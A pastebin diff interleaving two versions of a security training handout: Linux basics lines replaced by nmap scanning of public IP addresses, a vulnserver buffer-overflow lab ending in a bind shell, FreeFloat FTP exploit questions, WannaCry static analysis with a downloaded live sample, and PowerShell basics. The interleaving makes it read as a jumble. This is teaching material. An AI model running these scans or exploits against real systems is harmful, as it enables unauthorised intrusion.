View difference between Paste ID: KiME6kqX and eVD9Cmjg

 #####################################
 # InfoSecAddicts Intro to Linux     #
 # By Joe McCray                     #
 #####################################
 
 
 
-##########
+
-# VMWare #
+
-##########
+
-- For this workshop you'll need the latest version of VMWare Workstation (Windows), Fusion (Mac), or Player.
+# Connect to the server #
 #########################
-- http://www.vmware.com/ap/products/player.html
+
 Use Putty to SSH into my Ubuntu host in order to perform the lab tasks below.
 
-- Although you can get the VM to run in VirtualBox, I will not be supporting this configuration for this class.
+You can download Putty from here:
 http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe
 
-##########################
+
-# Download the attack VM #
+# Connect to the server #
-##########################
+
-https://s3.amazonaws.com/infosecaddictsvirtualmachines/InfoSecAddictsVM.zip
+
-user:      infosecaddicts
+Use Putty to SSH into my Ubuntu host in order to perform the lab tasks below.
-pass:      infosecaddicts
+
 You can download Putty from here:
-- Here is a good set of slides for getting started with Linux:
+http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe
-http://www.slideshare.net/olafusimichael/linux-training-24086319
+
 
 IP Address:         107.191.39.106
 Protocol:               ssh
 Port:                   22
-- Log in to your Ubuntu host with the following credentials:
+username:               class
-	user:      infosecaddicts
+password:
-	pass:      infosecaddicts
+
 
 ########################
 # Scanning Methodology #
-- I prefer to use Putty to SSH into my Ubuntu host on pentests and I'll be teaching this class in the same manner that I do pentests.
+
-- You can download Putty from here:
+
-- http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe
+- Ping Sweep
 What's alive?
 ------------
-- For the purpose of this workshop 192.168.230.128 is my Ubuntu IP address so anytime you see that IP you'll know that's my Ubuntu host
+
 ---------------------------Type this command-----------------------------------
 sudo nmap -sP 157.166.226.*
 
 -------------------------------------------------------------------------------
-# Basic Linux Commands #
+
 
-cd ~
+
     -if -SP yields no results try:
-pwd
+---------------------------Type this command-----------------------------------
 sudo nmap -sL 157.166.226.*
-whereis pwd
+
 -------------------------------------------------------------------------------
-which pwd
+
 
-sudo find / -name pwd
+
     -Look for hostnames:
-/bin/pwd
+---------------------------Type this command-----------------------------------
 sudo nmap -sL 157.166.226.* | grep cnn
-mkdir LinuxBasics
+
 -------------------------------------------------------------------------------
-cd LinuxBasics
+
 
-touch one two three
+
 - Port Scan
-ls -l t		(without pressing the Enter key, press the Tab key twice. What happens?)
+What's where?
 ------------
-h		(and again without pressing the Enter key, press the Tab key twice. What happens?)
+---------------------------Type this command-----------------------------------
 sudo nmap -sS 162.243.126.247
-Press the 'Up arrow key'	(What happens?)
+
 -------------------------------------------------------------------------------
-Press 'Ctrl-A'			(What happens?)
+
 
 
 - Bannergrab/Version Query
-clear				(What happens?)
+What versions of software are running
 -------------------------------------
-echo one > one
+
 ---------------------------Type this command-----------------------------------
-cat one				(What happens?)
+sudo nmap -sV 162.243.126.247
 
-man cat				(What happens?)
+-------------------------------------------------------------------------------
-	q
+
 
-cat two
+
 
-cat one > two
+- Vulnerability Research
 Lookup the banner versions for public exploits
-cat two
+----------------------------------------------
 https://www.exploit-db.com/search
-cat one two > three
+http://securityfocus.com/bid
 https://packetstormsecurity.com/files/tags/exploit/
-cat three
+
 
-echo four >> three
+
 Network Penetration Testing Process (known vulnerabilities)
-cat three 			(What happens?)
+
 
-wc -l three
+
 1. Ping Sweep:
-man wc
+The purpose of this step is to identify live hosts
-	q
+
 	nmap -sP <ip-address/ip-range>
-cat three | grep four
+
 
-cat three | grep one
+2. Port Scan
 Identify running services. We use the running services to map the network topology.
-man grep
+
-	q
+	nmap -sS <ip-address/ip-range>
 
 
-man ps
+3. Bannergrab
-	q
+Identify the version of version of software running on each port
 
-ps
+	nmap -sV <ip-address/ip-range>
 
-ps aux
+
 
-ps aux | less
+4. Vulnerability Research
 Use the software version number to research and determine if it is out of date (vulnerable).
-Press the 'Up arrow key'	(What happens?)
+
 	exploit-db.com/search
-Press the 'Down arrow key'	(What happens?)
+
-	q
+
 
-top
+
 
 
 
-#########
+
-# Files #
+
-#########
+Skill Level 1. Run the scanners
-cd ~
+
 	Nexpose
-pwd
+	Qualys
 	Retina
 	Nessus				known vulnerabilities
 	OpenVas
-cd LinuxBasics
+	Foundscan
 	GFI LanGuard
-pwd
+	NCircle
 
-cd ~
+
 Skill Level 2. Manual vulnerability validation (known vulnerabilities)
-pwd
+-----------------------------------------------------------------------
 
-cd LinuxBasics
+	windows ->	systeminfo
 	Linux->		dpkg -l
 			rpm -qa
 
-mkdir files
+
 
-cp one files/
+
 
-ls files/
+
 
-cd files/
+
 # Quick Stack Based Buffer Overflow #
-cp ../two .
+
 
 - You can download everything you need for this exercise from the links below (copy nc.exe into the c:\windows\system32 directory)
 http://45.63.104.73/ExploitLab.zip
-cp ../three .
+
 
 - Extract the ExploitLab.zip file to your Desktop
 
-tar cvf files.tar *
+- Go to folder C:\Users\student\Desktop\ExploitLab\2-VulnServer, and run vulnserv.exe
 
 - Open a new command prompt and type:
 
-gzip files.tar
+---------------------------Type This-----------------------------------
 
 nc localhost 9999
 --------------------------------------------------------------------------
-rm -rf one two three
+
 - In the new command prompt window where you ran nc type:
 HELP
 
-tar -zxvf files.tar.gz
+- Go to folder C:\Users\student\Desktop\ExploitLab\4-AttackScripts
 - Right-click on 1-simplefuzzer.py and choose the option edit with notepad++
-rm -rf files.tar.gz
+
 - Now double-click on 1-simplefuzzer.py
-sudo apt install -y zip unzip
+- You'll notice that vulnserv.exe crashes. Be sure to note what command and the number of As it crashed on.
 
-zip data *
+
 - Restart vulnserv, and run 1-simplefuzzer.py again. Be sure to note what command and the number of As it crashed on.
-unzip -l data.zip
+
 - Now go to folder C:\Users\student\Desktop\ExploitLab\3-OllyDBG and start OllyDBG. Choose 'File' -> 'Attach' and attach to process vulnserv.exe
-unzip data.zip -d /tmp
+
 - Go back to folder C:\Users\student\Desktop\ExploitLab\4-AttackScripts and double-click on 1-simplefuzzer.py.
-unzip -l data.zip
+
 - Take note of the registers (EAX, ESP, EBP, EIP) that have been overwritten with As (41s).
 
 - Now isolate the crash by restarting your debugger and running script 2-3000chars.py
-############
+
-# VIM Demo #
+- Calculate the distance to EIP by running script 3-3000chars.py
-############
+- This script sends 3000 nonrepeating chars to vulserv.exe and populates EIP with the value: 396F4338
-cd ~
+
-sudo apt install -y vim
+4-count-chars-to-EIP.py
-     infosecaddicts
+- In the previous script we see that EIP is overwritten with 396F4338 is 8 (38), C (43), o (6F), 9 (39)
 - so we search for 8Co9 in the string of nonrepeating chars and count the distance to it
-cd LinuxBasics
+
 5-2006char-eip-check.py
-mkdir vimlesson
+- In this script we check to see if our math is correct in our calculation of the distance to EIP by overwriting EIP with 42424242
 
-cd vimlesson
+6-jmp-esp.py
 - In this script we overwrite EIP with a JMP ESP (6250AF11) inside of essfunc.dll
-vi lesson1.sh
+
 7-first-exploit
-i			(press "i" to get into INSERT mode and then paste in the lines below)
+- In this script we actually do the stack overflow and launch a bind shell on port 4444
 
-#!/bin/bash
+8 - Take a look at the file vulnserv.rb and place it in your Ubuntu host via SCP or copy it and paste the code into the host.
 
-echo "This is my first time using vi to create a shell script"
+
-echo " "
+------------------------------
-echo " "
+
-echo " "
+
-sleep 5
+
-echo "Ok, now let's clear the screen"
+#########################################
-sleep 3
+# FreeFloat FTP Server Exploit Analysis #
 #########################################
 
----------------don't put this line in your script----------------------------
+
 
-ESC			(press the ESC key to get you out of INSERT mode)
+Analyze the following exploit code:
 https://www.exploit-db.com/exploits/15689/
-[SHIFT+:]	(press SHIFT and the : keys at the same time and you should see a : in the bottom left corner of the screen.
+
 1. What is the target platform that this exploit works against?
 2. What is the variable name for the distance to EIP?
-wq			(typing "wq" immediately after SHIFT: will save (w for write, and q for quit meaning exit vim).
+3. What is the actual distance to EIP in bytes?
 4. Describe what is happening in the variable ‘junk2’
 
 
-vi lesson1.sh
+
 
-[SHIFT+:]	(press SHIFT and the : keys at the same time and you should see a : in the bottom left corner of the screen.
+Analysis of the training walk-through based on EID: 15689:
 http://45.63.104.73/ff.zip
-set number 	(typing "set number" immediately after SHIFT: will add line numbers to vim).
+
 
-wq			(typing "wq" immediately after SHIFT: will save (w for write, and q for quit meaning exit vim).
+
 
 ff1.py
 1. What does the sys module do? Call System Commands
 2. What is sys.argv[1] and sys.argv[2]?
-vi lesson1.sh
+3. What application entry point is being attacked in this script?
 
-[SHIFT+:]	(press SHIFT and the : keys at the same time and you should see a : in the bottom left corner of the screen.
+
 
-set number 	(typing "set number" immediately after SHIFT: will add line numbers to vim).
+ff2.py
 1. Explain what is happening in lines 18 - 20 doing.
 2. What pattern_create.rb doing and where can I find it?
-[SHIFT+:]	(press SHIFT and the : keys at the same time and you should see a : in the bottom left corner of the screen.
+3. Why can’t I just double click the file to run this script?
 
-/echo		(typing "/echo" immediately after SHIFT: will search the file for the word echo).
+
 
-[SHIFT+:]	(press SHIFT and the : keys at the same time and you should see a : in the bottom left corner of the screen.
+ff3.py
 1. Explain what is happening in lines 17 - to 25?
-wq			(typing "wq" immediately after SHIFT: will save (w for write, and q for quit meaning exit vim).
+2. Explain what is happening in lines 30 - to 32?
 3. Why is everything below line 35 commented out?
 
 
 
-vi lesson1.sh
+ff4.py
 1. Explain what is happening in lines 13 - to 15.
-[SHIFT+:]	(press SHIFT and the : keys at the same time and you should see a : in the bottom left corner of the screen.
+2. Explain what is happening in line 19.
 3. What is the total length of buff?
-set number 	(typing "set number" immediately after SHIFT: will add line numbers to vim).
+
 
 
-[SHIFT+:]	(press SHIFT and the : keys at the same time and you should see a : in the bottom left corner of the screen.
+Ff5.py
 1. Explain what is happening in line 15.
-4		(typing "4" immediately after SHIFT: will take you to line number 4).
+2. What is struct.pack?
 3. How big is the shellcode in this script?
-[SHIFT+:]	(press SHIFT and the : keys at the same time and you should see a : in the bottom left corner of the screen.
+
 
-wq			(typing "wq" immediately after SHIFT: will save (w for write, and q for quit meaning exit vim).
+
 ff6.py
 1. What is the distance to EIP?
 2. How big is the shellcode in this script?
 3. What is the total byte length of the data being sent to this app?
-vi lesson1.sh
+
 
-[SHIFT+:]	(press SHIFT and the : keys at the same time and you should see a : in the bottom left corner of the screen.
+
 
-set number 	(typing "set number" immediately after SHIFT: will add line numbers to vim).
+ff7.py
 1. What is a tuple in python?
 2. How big is the shellcode in this script?
-[SHIFT+:]	(press SHIFT and the : keys at the same time and you should see a : in the bottom left corner of the screen.
+3. Did your app crash in from this script?
 
-4		(typing "4" immediately after SHIFT: will take you to line number 4).
+
 
-dd		(typing "dd" will delete the line that you are on)
+
 ff8.py
-[SHIFT+:]	(press SHIFT and the : keys at the same time and you should see a : in the bottom left corner of the screen.
+1. How big is the shellcode in this script?
 2. What is try/except in python?
-wq			(typing "wq" immediately after SHIFT: will save (w for write, and q for quit meaning exit vim).
+3. What is socket.SOCK_STREAM in Python?
 
 
 
 ff9.py
-vi lesson1.sh
+1. What is going on in lines 19 and 20?
 2. What is the length of the NOPs?
-[SHIFT+:]	(press SHIFT and the : keys at the same time and you should see a : in the bottom left corner of the screen.
+3. What is socket.SOCK_STREAM in Python?
 
-set number 	(typing "set number" immediately after SHIFT: will add line numbers to vim).
+
 
 
-[SHIFT+:]	(press SHIFT and the : keys at the same time and you should see a : in the bottom left corner of the screen.
+ff010.py
 1. What is going on in lines 18 - 20?
-4		(typing "4" immediately after SHIFT: will take you to line number 4).
+2. What is going on in lines 29 - 32?
 3. How would a stack adjustment help this script?
-dd		(typing "dd" will delete the line that you are on)
+
 
-[SHIFT+:]	(press SHIFT and the : keys at the same time and you should see a : in the bottom left corner of the screen.
+Required review videos to watch tonight:
 ----------------------------------------
-syntax on		(typing "syntax on" immediately after SHIFT: will turn on syntax highlighting
+https://www.youtube.com/playlist?list=PLWpmLW-3AVsjcz_VJFvofmIFVTk7T-Ukl
 Please watch videos 1-5 tonight. Vivek has a deep accent so I understand that it may be difficult but his material is very good - probably the best on the internet today.
-[SHIFT+:]	(press SHIFT and the : keys at the same time and you should see a : in the bottom left corner of the screen.
+
 Recommended (not required) videos to watch tonight:
-set tabstop=5	(typing "set tabstop=5" immediately after SHIFT: will set your tabs to 5 spaces
+
 For more background on Assembly I would recommend the following video series (videos 1-11):
-[SHIFT+:]	(press SHIFT and the : keys at the same time and you should see a : in the bottom left corner of the screen.
+https://www.youtube.com/playlist?list=PL6brsSrstzga43kcZRn6nbSi_GeXoZQhR
 Again, you DO NOT have to watch these tonight but if you are really interested in the subject of exploit development I think they will be very helpful.
-wq			(typing "wq" immediately after SHIFT: will save (w for write, and q for quit meaning exit vim).
+
 
 
 
 
-vi .vimrc
+
-i			(press "i" to get into INSERT mode and then paste in the lines below)
+Skill Level 3. Identify unknown vulnerabilities
 -----------------------------------------------
 
-set number
+- App Type
-syntax on
+------------
-set tabstop=5
+	Stand Alone				Client Server				Web App
 
 						***(vulnerserver.exe)***
-[SHIFT+:]	(press SHIFT and the : keys at the same time and you should see a : in the bottom left corner of the screen.
+
 
-wq			(typing "wq" immediately after SHIFT: will save (w for write, and q for quit meaning exit vim).
+- Input TYpe
 -------------
 	FIle					logical network port			Browser
 	Keyboard
 	Mouse
 
 
-vi lesson1.sh
+
 						***(9999)***
-[SHIFT+:]	(press SHIFT and the : keys at the same time and you should see a : in the bottom left corner of the screen.
+
 
-echo $MYVIMRC	(typing "echo $MYVIMRC" immediately after SHIFT: will display the path to your new .vimrc file
+- Map & Fuzz app entry points:
 ------------------------------
-[SHIFT+:]	(press SHIFT and the : keys at the same time and you should see a : in the bottom left corner of the screen.
+	- Commands				***(commands)***
 	- Methods
-wq			(typing "wq" immediately after SHIFT: will save (w for write, and q for quit meaning exit vim).
+	- Verbs
 	- functions
 	- subroutines
-###############
+	- controllers
-# Permissions #
+
-###############
+
-cd ~
+- Isolate the crash
 -------------------
-pwd
+
 
 
 - Calculate the distance to EIP
-cd LinuxBasics
+
 
-ls -l one
+
 
-We can determine a lot from examining the results of this command. The file "one" is owned by user "me".
+
-Now "me" has the right to read and write this file.
+
-The file is owned by the group "me". Members of the group "me" can also read and write this file.
+
-Everybody else can read this file
+
 # Log Analysis with Linux command-line tools #
 ##############################################
 The following command line executables are found in the Mac as well as most Linux Distributions.
-ls -l /bin/bash
+
 cat –  prints the content of a file in the terminal window
 grep – searches and filters based on patterns
-Here we can see:
+
 sed –  performs find and replace functions
-The file "/bin/bash" is owned by user "root". The superuser has the right to read, write, and execute this file.
+
-The file is owned by the group "root". Members of the group "root" can also read and execute this file.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              Everybody else can read and execute this file
+
 
 
-The next command you need to know is "chmod"
+
-rwx rwx rwx = 111 111 111
+
-rw- rw- rw- = 110 110 110
+
-rwx --- --- = 111 000 000
+
 -----------------------------Type this-----------------------------------------
-and so on...
+wget http://45.63.104.73/cisco.log
 -------------------------------------------------------------------------------
-rwx = 111 in binary = 7
+
-rw- = 110 in binary = 6
+
-r-x = 101 in binary = 5
+
-r-- = 100 in binary = 4
+To quickly demonstrate the print feature in awk, we can instruct it to show only the 5th word of each line. Here we will print $5. Only the last 4 lines are being shown for brevity.
 
-ls -l one
+-----------------------------Type this-----------------------------------------
 cat cisco.log | awk '{print $5}' | tail -n 4
-chmod 600 one
+-------------------------------------------------------------------------------
 
-ls -l one
+
 
-sudo useradd testuser
+Looking at a large file would still produce a large amount of output. A more useful thing to do might be to output every entry found in “$5”, group them together, count them, then sort them from the greatest to least number of occurrences. This can be done by piping the output through “sort“, using “uniq -c” to count the like entries, then using “sort -rn” to sort it in reverse order.
-     infosecaddicts
+
 -----------------------------Type this-----------------------------------------
-sudo passwd testuser
+
 -------------------------------------------------------------------------------
-testuser
+
-testuser
+
 
-sudo chown testuser one
+While that’s sort of cool, it is obvious that we have some garbage in our output. Evidently we have a few lines that aren’t conforming to the output we expect to see in $5. We can insert grep to filter the file prior to feeding it to awk. This insures that we are at least looking at lines of text that contain “facility-level-mnemonic”.
-     infosecaddicts
+
 -----------------------------Type this-----------------------------------------
-ls -l one
+
 -------------------------------------------------------------------------------
-sudo chgrp testuser one
+
-     infosecaddicts
+
 
-ls -l one
+
 Now that the output is cleaned up a bit, it is a good time to investigate some of the entries that appear most often. One way to see all occurrences is to use grep.
-id
+
 -----------------------------Type this-----------------------------------------
-su testuser
+
-testuser
+
 cat cisco.log | grep %LINEPROTO-5-UPDOWN:| awk '{print $10}' | sort | uniq -c | sort -rn
 
-Here is a table of numbers that covers all the common settings. The ones beginning with "7" are used with programs (since they enable execution) and the rest are for other kinds of files.
+
 
-Value	Meaning
+
-777 (rwxrwxrwx) No restrictions on permissions. Anybody may do anything. Generally not a desirable setting.
+--------------------------------------------------------------------------------
 
-755 (rwxr-xr-x) The file's owner may read, write, and execute the file. All others may read and execute the file. This setting is common for programs that are used by all users.
+
 
-700 (rwx------) The file's owner may read, write, and execute the file. Nobody else has any rights. This setting is useful for programs that only the owner may use and must be kept private from others.
+
 
-666 (rw-rw-rw-) All users may read and write the file.
+
 
-644 (rw-r--r--) The owner may read and write a file, while all others may only read the file. A common setting for data files that everybody may read, but only the owner may change.
+################
 # The Scenario #
-600 (rw-------) The owner may read and write a file. All others have no rights. A common setting for data files that the owner wants to keep private.
+################
 You've come across a file that has been flagged by one of your security products (AV Quarantine, HIPS, Spam Filter, Web Proxy, or digital forensics scripts).
 
 
-Directory permissions
+The fastest thing you can do is perform static analysis.
----------------------
+
-The chmod command can also be used to control the access permissions for directories. In most ways, the permissions scheme for directories works the same way as they do with files. However, the execution permission is used in a different way. It provides control for access to file listing and other things. Here are some useful settings for directories:
+
 
-Value	Meaning
+###################
-777 (rwxrwxrwx) No restrictions on permissions.
+# Static Analysis #
-Anybody may list files, create new files in the directory and delete files in the directory.
+###################
-Generally not a good setting.
+
 - After logging please open a terminal window and type the following commands:
 
 
-755 (rwxr-xr-x) The directory owner has full access.
+---------------------------Type This-----------------------------------
-All others may list the directory, but cannot create files nor delete them.
+
-This setting is common for directories that you wish to share with other users.
+
 wget http://45.63.104.73/wannacry.zip
 
 unzip wannacry.zip
-700 (rwx------) The directory owner has full access. Nobody else has any rights. This setting is useful for directories that only the owner may use and must be kept private from others.
+     infected
 
-######################
+file wannacry.exe
-# Process Management #
+
-######################
+mv wannacry.exe malware.pdf
-top
+
 file malware.pdf
-sudo apt install -y htop
+
-     infosecaddicts
+mv malware.pdf wannacry.exe
 
-htop
+hexdump -n 2 -C wannacry.exe
 
-ps
+----------------------------------------------------------------------
 
-ps aux
+
 
-ps -A
+In a browser...go to: http://www.garykessler.net/library/file_sigs.html
 
-ps -A | less
+***What is '4d 5a' or 'MZ'***
 
-ps axjf
+
 
-pstree
+
 
-pgrep bash
+---------------------------Type This-----------------------------------
 objdump -x wannacry.exe
-pgrep init
+
 strings wannacry.exe
-ps aux | grep apache
+
 strings wannacry.exe | grep -i dll
-You can list all of the signals that are possible to send with kill by typing:
+
 strings wannacry.exe | grep -i library
-kill -l
+
 strings wannacry.exe | grep -i reg
-sudo kill -HUP pid_of_apache
+
 strings wannacry.exe | grep -i key
-The pkill command works in almost exactly the same way as kill, but it operates on a process name instead:
+
 strings wannacry.exe | grep -i rsa
-pkill -9 ping
+
-The above command is the equivalent of:
+strings wannacry.exe | grep -i open
 
-kill -9 `pgrep ping`
+strings wannacry.exe | grep -i get
 
 strings wannacry.exe | grep -i mutex
 
 strings wannacry.exe | grep -i irc
 
-####################
+strings wannacry.exe | grep -i join
-# MD5 Hashing Demo #
+
-####################
+strings wannacry.exe | grep -i admin
-cd ~/LinuxBasics
+
-mkdir hashdemo
+strings wannacry.exe | grep -i list
-cd hashdemo
+----------------------------------------------------------------------
-echo test > test.txt
+
-cat test.txt
+
-md5sum test.txt
+
-echo hello >> test.txt
+
-cat test.txt
+
-md5sum test.txt
+
-cd ..
+
 Hmmmmm.......what's the latest thing in the news - oh yeah "WannaCry"
 
 Quick Google search for "wannacry ransomeware analysis"
 
-#################################
+
-# Symmetric Key Encryption Demo #
+Reference
-#################################
+https://securingtomorrow.mcafee.com/executive-perspectives/analysis-wannacry-ransomware-outbreak/
-cd ~/LinuxBasics
+
-mkdir gpgdemo
+- Yara Rule -
-cd gpgdemo
+
-echo test > test.txt
+
-cat test.txt
+Strings:
-gpg -c test.txt
+$s1 = “Ooops, your files have been encrypted!” wide ascii nocase
-	password
+$s2 = “Wanna Decryptor” wide ascii nocase
-	password
+$s3 = “.wcry” wide ascii nocase
-ls | grep test
+$s4 = “WANNACRY” wide ascii nocase
-cat test.txt
+$s5 = “WANACRY!” wide ascii nocase
-cat test.txt.gpg
+$s7 = “icacls . /grant Everyone:F /T /C /Q” wide ascii nocase
-rm -rf test.txt
+
-ls | grep test
+
-gpg -o output.txt test.txt.gpg
+
-cat output.txt
+
 
 
-#########################################################################################################################
+
-# Asymmetric Key Encryption Demo 											                                            #
+
-#															                                                            #
+Ok, let's look for the individual strings
-# Configure random number generator 											                                        #
+
-# https://www.howtoforge.com/helping-the-random-number-generator-to-gain-enough-entropy-with-rng-tools-debian-lenny	    #
+
-#########################################################################################################################
+---------------------------Type This-----------------------------------
 strings wannacry.exe | grep -i ooops
-sudo apt install -y rng-tools
+
-     infosecaddicts
+strings wannacry.exe | grep -i wanna
 
-/etc/init.d/rng-tools start
+strings wannacry.exe | grep -i wcry
 
-sudo rngd -r /dev/urandom
+strings wannacry.exe | grep -i wannacry
-     infosecaddicts
+
 strings wannacry.exe | grep -i wanacry          **** Matches $s5, hmmm.....
 ----------------------------------------------------------------------
-echo hello > file1.txt
+
-echo goodbye > file2.txt
+
-echo green > file3.txt
+
-echo blue > file4.txt
+
 
-tar czf files.tar.gz *.txt
+
 
-gpg --gen-key
+
-	1
+
-	1024
+
-	0
+
-	y
+
-	John Doe
+
-	john@doe.com
+
-	--blank comment--
+
-	O
+
-		password
+####################################
-		password
+# Tired of GREP - let's try Python #
 ####################################
 Decided to make my own script for this kind of stuff in the future. I
 
-gpg --armor --output file-enc-pubkey.txt --export 'John Doe'
+Reference1:
 http://45.63.104.73/analyse_malware.py
-cat file-enc-pubkey.txt
+
 This is a really good script for the basics of static analysis
-gpg --armor --output file-enc-privkey.asc --export-secret-keys 'John Doe'
+
 Reference:
-cat file-enc-privkey.asc
+https://joesecurity.org/reports/report-db349b97c37d22f5ea1d1841e3c89eb4.html
 
-gpg --encrypt --recipient 'John Doe' files.tar.gz
+
 This is really good for showing some good signatures to add to the Python script
-rm -rf files.tar.gz *.txt
+
 
 Here is my own script using the signatures (started this yesterday, but still needs work):
 https://pastebin.com/guxzCBmP
-tar -zxvf files.tar.gz.gpg
+
 
-gpg --output output.tar.gz --decrypt files.tar.gz.gpg
+
-	password
+---------------------------Type This-----------------------------------
 wget https://pastebin.com/raw/guxzCBmP
-tar -zxvf output.tar.gz
+
 
 mv guxzCBmP am.py
 
 
 cat am.py | less
 
 python2.7 am.py wannacry.exe
 ----------------------------------------------------------------------
-# Encryption using OpenSSL #
+
 
-openssl genrsa -out private_key.pem 1024
+
-openssl rsa -in private_key.pem -out public_key.pem -outform PEM -pubout
+#####################
 # Powershell Basics #
 #####################
-echo hello > encrypt.txt
+
-openssl rsautl -encrypt -inkey public_key.pem -pubin -in encrypt.txt -out encrypt.dat
+PowerShell is Microsoft's new scripting language that has been built in since the release Vista.
 
-cat encrypt.dat
+PowerShell file extension end in .ps1 .
 
-rm -rf encrypt.txt
+An important note is that you cannot double click on a PowerShell script to execute it.
 
 To open a PowerShell command prompt either hit Windows Key + R and type in PowerShell or Start -> All Programs -> Accessories -> Windows PowerShell -> Windows PowerShell.
 
-openssl rsautl -decrypt -inkey private_key.pem -in encrypt.dat -out decrypt.txt
+------------------------Type This------------------------------
 cd c:\
-cat decrypt.txt
+dir
 cd
 ls
 ---------------------------------------------------------------
 
-# Secure File/Folder Deletion #
+
 To obtain a list of cmdlets, use the Get-Command cmdlet
-sudo apt install -y secure-delete wipe
+------------------------Type This------------------------------
 Get-Command
-wget https://www.sans.org/security-resources/tcpip.pdf
+---------------------------------------------------------------
 
-file tcpip.pdf
+
 You can use the Get-Alias cmdlet to see a full list of aliased commands.
-sudo srm tcpip.pdf
+------------------------Type This------------------------------
 Get-Alias
-wget https://www.sans.org/security-resources/tcpip.pdf
+---------------------------------------------------------------
 
-shred tcpip.pdf
+
 Don't worry you won't blow up your machine with Powershell
-wget https://www.sans.org/security-resources/tcpip.pdf
+------------------------Type This------------------------------
 Get-Process | stop-process              Don't press [ ENTER ] What will this command do?
-wipe tcpip.pdf
+Get-Process | stop-process -whatif
 ---------------------------------------------------------------
 
 To get help with a cmdlet, use the Get-Help cmdlet along with the cmdlet you want information about.
 ------------------------Type This------------------------------
 Get-Help Get-Command
-#################
+
-# IPTables Demo #
+Get-Help Get-Service –online
-#################
+
-cd ~
+Get-Service -Name TermService, Spooler
 
-- Delete Existing Rules
+Get-Service –N BITS
----------------------
+---------------------------------------------------------------
-sudo /sbin/iptables -F
+
-     infosecaddicts
+
 
-	(or)
+
 
-sudo /sbin/iptables --flush
+- Run cmdlet through a pie and refer to its properties as $_
-     infosecaddicts
+------------------------Type This------------------------------
 Get-Service | where-object {  $_.Status -eq "Running"}
 ---------------------------------------------------------------
 
-- Set Default Chain Policies
+
---------------------------
+
-iptables -P INPUT DROP
+- PowerShell variables begin with the $ symbol. First lets create a variable
-iptables -P FORWARD DROP
+------------------------Type This------------------------------
-iptables -P OUTPUT DROP
+$serv = Get-Service –N Spooler
 ---------------------------------------------------------------
 
 To see the value of a variable you can just call it in the terminal.
-- Delete Existing Rules
+------------------------Type This------------------------------
----------------------
+$serv
-sudo /sbin/iptables -F
+
-     infosecaddicts
+$serv.gettype().fullname
 ---------------------------------------------------------------
-	(or)
+
 
-sudo /sbin/iptables --flush
+Get-Member is another extremely useful cmdlet that will enumerate the available methods and properties of an object. You can pipe the object to Get-Member or pass it in
-     infosecaddicts
+------------------------Type This------------------------------
 $serv | Get-Member
 
 Get-Member -InputObject $serv
 ---------------------------------------------------------------
-sudo /bin/bash
+
 
 
 
-- Block a Specific ip-address
+Let's use a method and a property with our object.
------------------------------
+------------------------Type This------------------------------
-BLOCK_THIS_IP="1.2.3.4"
+$serv.Status
-iptables -A INPUT -s "$BLOCK_THIS_IP" -j DROP
+$serv.Stop()
 $serv.Refresh()
 $serv.Status
-iptables -A INPUT -i eth0 -s "$BLOCK_THIS_IP" -j DROP
+$serv.Start()
-iptables -A INPUT -i eth0 -p tcp -s "$BLOCK_THIS_IP" -j DROP
+$serv.Refresh()
 $serv.Status
 ---------------------------------------------------------------
-- Allow ALL Incoming SSH
+
-------------------------
+
-iptables -A INPUT -i eth0 -p tcp --dport 22 -m state --state NEW,ESTABLISHED -j ACCEPT
+If you want some good command-line shortcuts you can check out the following link:
-iptables -A OUTPUT -o eth0 -p tcp --sport 22 -m state --state ESTABLISHED -j ACCEPT
+https://technet.microsoft.com/en-us/library/ff678293.aspx
 
 #############################
-- Allow Incoming SSH only from a Sepcific Network
+# Simple Event Log Analysis #
--------------------------------------------------
+#############################
-iptables -A INPUT -i eth0 -p tcp -s 192.168.100.0/24 --dport 22 -m state --state NEW,ESTABLISHED -j ACCEPT
+Let's setup a directory to work in:
-iptables -A OUTPUT -o eth0 -p tcp --sport 22 -m state --state ESTABLISHED -j ACCEPT
+------------------------Type This------------------------------
 cd c:\
 
-- Allow Incoming HTTP and HTTPS
+mkdir ps
 
-iptables -A INPUT -i eth0 -p tcp --dport 80 -m state --state NEW,ESTABLISHED -j ACCEPT
+cd ps
-iptables -A OUTPUT -o eth0 -p tcp --sport 80 -m state --state ESTABLISHED -j ACCEPT
+---------------------------------------------------------------
 
 Step 1: Dump the event logs
-iptables -A INPUT -i eth0 -p tcp --dport 443 -m state --state NEW,ESTABLISHED -j ACCEPT
+---------------------------
-iptables -A OUTPUT -o eth0 -p tcp --sport 443 -m state --state ESTABLISHED -j ACCEPT
+The first thing to do is to dump them into a format that facilitates later processing with Windows PowerShell.
 
 To dump the event log, you can use the Get-EventLog and the Exportto-Clixml cmdlets if you are working with a traditional event log such as the Security, Application, or System event logs.
 If you need to work with one of the trace logs, use the Get-WinEvent and the ExportTo-Clixml cmdlets.
-- Combine Multiple Rules Together using MultiPorts
+------------------------Type This------------------------------
---------------------------------------------------
+Get-EventLog -LogName application | Export-Clixml Applog.xml
-iptables -A INPUT -i eth0 -p tcp -m multiport --dports 22,80,443 -m state --state NEW,ESTABLISHED -j ACCEPT
+
-iptables -A OUTPUT -o eth0 -p tcp -m multiport --sports 22,80,443 -m state --state ESTABLISHED -j ACCEPT
+type .\Applog.xml
 
 $logs = "system","application","security"
-- Allow Outgoing SSH
+---------------------------------------------------------------
---------------------
+
-iptables -A OUTPUT -o eth0 -p tcp --dport 22 -m state --state NEW,ESTABLISHED -j ACCEPT
+
-iptables -A INPUT -i eth0 -p tcp --sport 22 -m state --state ESTABLISHED -j ACCEPT
+The % symbol is an alias for the Foreach-Object cmdlet. It is often used when working interactively from the Windows PowerShell console
 ------------------------Type This------------------------------
 $logs | % { get-eventlog -LogName $_ | Export-Clixml "$_.xml" }
-- Allow Outgoing SSH only to a Specific Network
+---------------------------------------------------------------
 
-The following rules allow outgoing ssh connection only to a specific network. i.e You an ssh only to 192.168.100.0/24 network from the inside.
+
 
-iptables -A OUTPUT -o eth0 -p tcp -d 192.168.100.0/24 --dport 22 -m state --state NEW,ESTABLISHED -j ACCEPT
+
-iptables -A INPUT -i eth0 -p tcp --sport 22 -m state --state ESTABLISHED -j ACCEPT
+Step 2: Import the event log of interest
 ----------------------------------------
 To parse the event logs, use the Import-Clixml cmdlet to read the stored XML files.
 Store the results in a variable.
-- Allow Outgoing HTTPS
+Let's take a look at the commandlets Where-Object, Group-Object, and Select-Object.
-----------------------
+
